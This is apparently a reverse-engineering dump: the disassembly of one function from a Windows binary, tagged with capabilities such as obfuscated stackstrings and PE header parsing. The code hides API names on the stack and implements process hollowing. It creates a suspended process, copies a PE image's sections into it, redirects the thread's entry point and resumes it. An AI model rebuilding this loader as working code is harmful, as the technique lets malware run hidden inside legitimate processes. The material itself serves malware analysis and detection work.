Function at 0x40a6d0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x493ef0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xd0
mov eax, dword [0x4aa018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xdc], ecx
mov eax, dword [ebx + 8]
mov dword [ebp - 0xd4], eax
mov byte [ebp - 0xcd], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
call fcn.00404be0
cmp byte [ebx + 0x1c], 0
mov esi, eax
mov byte [ebp - 0xac], 0
je 0x40a806
push ecx
lea ecx, [ebp - 0xbc]
call fcn.004045d0
call fcn.00412700
push dword [ebx + 0x18]
lea eax, [ebp - 0xbc]
mov dword [ebp - 4], 0
push eax
lea edx, [ebp - 0xb8]
mov ecx, esi
call fcn.0040a340
add esp, 8
test al, al
je 0x40a7e7
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x40a7e7
lea eax, [ebp - 0xb4]
push eax
sub esp, 0xc
call fcn.004174f0
add esp, 0x10
test eax, eax
je 0x40a7e7
mov edx, dword [ebp - 0xb8]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.00417590
mov ecx, dword [ebp - 0xac]
add esp, 4
test eax, eax
movzx ecx, cl
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0xac], ecx
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 0xffffffff
call fcn.00412190
cmp byte [ebp - 0xac], 0
je 0x40ab6b
lea eax, [ebp - 0x24]
mov word [ebp - 0x1c], 0x642e
push eax
mov word [ebp - 0x19], 0x6c
mov dword [ebp - 0x21], 0x336c656e
mov word [ebp - 0x23], 0x7265
mov byte [ebp - 0x24], 0x4b
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1a], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
je 0x40ab6b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x48]
push eax
push edi
mov dword [ebp - 0x3d], 0x7865746e
mov word [ebp - 0x39], 0x74
mov word [ebp - 0x47], 0x7465
mov word [ebp - 0x44], 0x7268
mov dword [ebp - 0x41], 0x6f436461
mov byte [ebp - 0x45], 0x54
mov byte [ebp - 0x48], 0x53
mov byte [ebp - 0x42], 0x65
call esi
mov dword [0x4b0e0c], eax
lea eax, [ebp - 0x34]
push eax
push edi
mov dword [ebp - 0x34], 0x75736552
mov word [ebp - 0x2a], 0x6461
mov dword [ebp - 0x2f], 0x72685465
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x30], 0x6d
call esi
mov dword [0x4b0e08], eax
lea eax, [ebp - 0x5c]
push eax
push edi
mov dword [ebp - 0x53], 0x636f7250
mov word [ebp - 0x59], 0x696d
mov dword [ebp - 0x4f], 0x737365
mov word [ebp - 0x56], 0x7461
mov word [ebp - 0x5b], 0x7265
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x57], 0x6e
mov byte [ebp - 0x5c], 0x54
call esi
mov esi, dword [ebp - 0xdc]
mov dword [0x4b0e04], eax
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40ab22
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x40ab22
xor eax, eax
mov dword [ebp - 0xa8], 0x44
cmp byte [ebx + 0x1c], al
xorps xmm0, xmm0
mov word [ebp - 0x66], ax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0xa8]
movlpd qword [ebp - 0xa4], xmm0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0x7c], 0x101
movlpd qword [ebp - 0x9c], xmm0
movlpd qword [ebp - 0x94], xmm0
movlpd qword [ebp - 0x8c], xmm0
movlpd qword [ebp - 0x84], xmm0
movlpd qword [ebp - 0x76], xmm0
movlpd qword [ebp - 0x6e], xmm0
push eax
je 0x40a99b
mov edx, dword [ebp - 0xd8]
push ecx
push dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
push 0x8000404
sub esp, 0xc
push dword [ebp - 0xd4]
call fcn.00417630
add esp, 0x24
jmp 0x40a9b2
mov edx, dword [ebp - 0xd4]
sub esp, 0x18
mov ecx, dword [ebp - 0xd8]
call fcn.00419ca0
add esp, 0x20
test eax, eax
je 0x40ab22
sub esp, 8
mov edx, 4
call fcn.00419260
add esp, 8
mov dword [ebp - 0xd4], eax
mov edx, eax
mov dword [eax], 0x10002
mov ecx, dword [ebp - 0xc8]
call fcn.00418050
test eax, eax
je 0x40ab14
mov edx, dword [ebp - 0xd4]
lea eax, [ebp - 0xbc]
mov ecx, dword [ebp - 0xcc]
sub esp, 8
mov edx, dword [edx + 0xa4]
push eax
add edx, 8
call fcn.00418150
add esp, 0xc
mov ecx, 0x40
cmp byte [ebx + 0x14], 0
mov eax, 4
cmovne eax, ecx
xor edx, edx
push eax
push ecx
push dword [edi + 0x50]
mov ecx, dword [ebp - 0xcc]
call fcn.004192e0
add esp, 0xc
mov dword [ebp - 0xac], eax
test eax, eax
je 0x40ab14
push ecx
push dword [edi + 0x54]
mov ecx, dword [ebp - 0xcc]
mov edx, eax
push esi
call fcn.00417fb0
movzx esi, word [edi + 0x14]
xor eax, eax
add esp, 0xc
mov dword [ebp - 0xd8], 0
add esi, 0x2c
cmp ax, word [edi + 6]
jae 0x40aabc
add esi, edi
nop word [eax + eax]
mov eax, dword [esi]
add eax, dword [ebp - 0xdc]
mov edx, dword [esi - 8]
add edx, dword [ebp - 0xac]
push ecx
push dword [esi - 4]
mov ecx, dword [ebp - 0xcc]
push eax
call fcn.00417fb0
mov ecx, dword [ebp - 0xd8]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
add esp, 0xc
mov dword [ebp - 0xd8], ecx
cmp ecx, eax
jl 0x40aa80
mov esi, dword [ebp - 0xd4]
lea eax, [ebp - 0xac]
push ecx
mov ecx, dword [ebp - 0xcc]
push 4
mov edx, dword [esi + 0xa4]
push eax
add edx, 8
call fcn.00417fb0
mov eax, dword [edi + 0x28]
add esp, 0xc
add eax, dword [ebp - 0xac]
mov dword [esi + 0xb0], eax
push esi
push dword [ebp - 0xc8]
call dword [0x4b0e0c]
push dword [ebp - 0xc8]
call dword [0x4b0e08]
mov byte [ebp - 0xcd], 1
jmp 0x40ab22
push 0
push dword [ebp - 0xcc]
call dword [0x4b0e04]
mov ecx, dword [ebp - 0xb0]
test ecx, ecx
je 0x40ab3b
call fcn.0041a310
mov dword [ebp - 0xb0], 0
mov ecx, dword [ebp - 0xb4]
test ecx, ecx
je 0x40ab54
call fcn.004199f0
mov dword [ebp - 0xb4], 0
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x40ab63
call fcn.004199f0
mov al, byte [ebp - 0xcd]
jmp 0x40ab6d
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041c13e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret